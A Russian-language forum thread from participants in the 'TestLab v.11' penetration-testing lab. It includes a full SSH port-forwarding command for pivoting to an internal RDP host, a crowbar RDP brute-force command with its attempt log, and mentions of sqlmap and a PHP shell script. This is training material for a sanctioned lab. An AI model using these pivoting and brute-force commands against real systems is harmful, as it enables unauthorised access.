Лаборатория тестирования на проникновения "TestLab v.11" WhoIs Mr.Hacker (1)

[[ixTor]]

кто парсил таблы в бд на вордпресе? никак немогу нормально скульмап настроить , подскажите что не так (LVL SITE)
постоянно предлагает подбирать по словарю, do you want to use common table existence check? [y/N/q] . я же знаю как запрос настроить что бы выбирать лимитом по одному , но незнаю как этот запрос всунуть в скульмап

LVL RDP
пробросил порт по SSH <Shift+~+C> -L 3389:192.168.13.1:3389
вобщем чет теперь сбрутить немогу, бручу crowbar'ом/
кто ни будь уже подобрал пароль?
[doublepost=1508044704,1507956987][/doublepost]блин че никто кроме меня не проходит эту лабу тут?

 

[Pavke]

Там брутитсч на раз, возможно, просто словарь пользуешь не тот. Я стандартный от джона брал.

 

[[ixTor]]

брутил брутил несбрутил, взял пароль посотрел и как оказалось он был в словарях а у меня неподбрутилось, может я неправильно поставил?

контачусь к SSH пробрасываю порт даю команду у себя на компе

ixtor@pc:~/lab/ssh$ sudo ssh -i ssh.key tech@192.168.101.11 -p2222 -L 3389:192.168.13.1:3389

потом

ixtor@pc:~/lab/tools/crowbar$ sudo python crowbar.py -b rdp -u arm554 -C /usr/share/john/password.lst -s 127.0.0.1/32 -v

и нехрена.

токен я уже взял но обидно что сам не сбрутил, два дня мучался

2017-10-15 17:34:35 LOG-RDP: 127.0.0.1:3389 - arm554:fuckme
2017-10-15 17:34:35 LOG-RDP: 127.0.0.1:3389 - arm554:fuckyou
2017-10-15 17:34:36 LOG-RDP: 127.0.0.1:3389 - arm554:matthew
2017-10-15 17:34:36 LOG-RDP: 127.0.0.1:3389 - arm554:miller
2017-10-15 17:34:36 LOG-RDP: 127.0.0.1:3389 - arm554:tiger
2017-10-15 17:34:36 LOG-RDP: 127.0.0.1:3389 - arm554:trustno1
2017-10-15 17:34:36 LOG-RDP: 127.0.0.1:3389 - arm554:alex
2017-10-15 17:34:36 LOG-RDP: 127.0.0.1:3389 - arm554:apple
2017-10-15 17:34:36 LOG-RDP: 127.0.0.1:3389 - arm554:avalon
2017-10-15 17:34:36 LOG-RDP: 127.0.0.1:3389 - arm554:brandy
2017-10-15 17:34:37 LOG-RDP: 127.0.0.1:3389 - arm554:chelsea
2017-10-15 17:34:37 LOG-RDP: 127.0.0.1:3389 - arm554:coffee

и вот так все время

 

[id2746]

Не пойму один момент при взятии первого токена.
Использовал php скрипт предложенный @~~DarkNode~~. Так вот пока не закомментировал строку с пассвордом админа, не мог никак получить шелл..
До этого и по дефлоту пробовал, и пасс менял - никак.

 

[Dikoy]

А продолжения нет?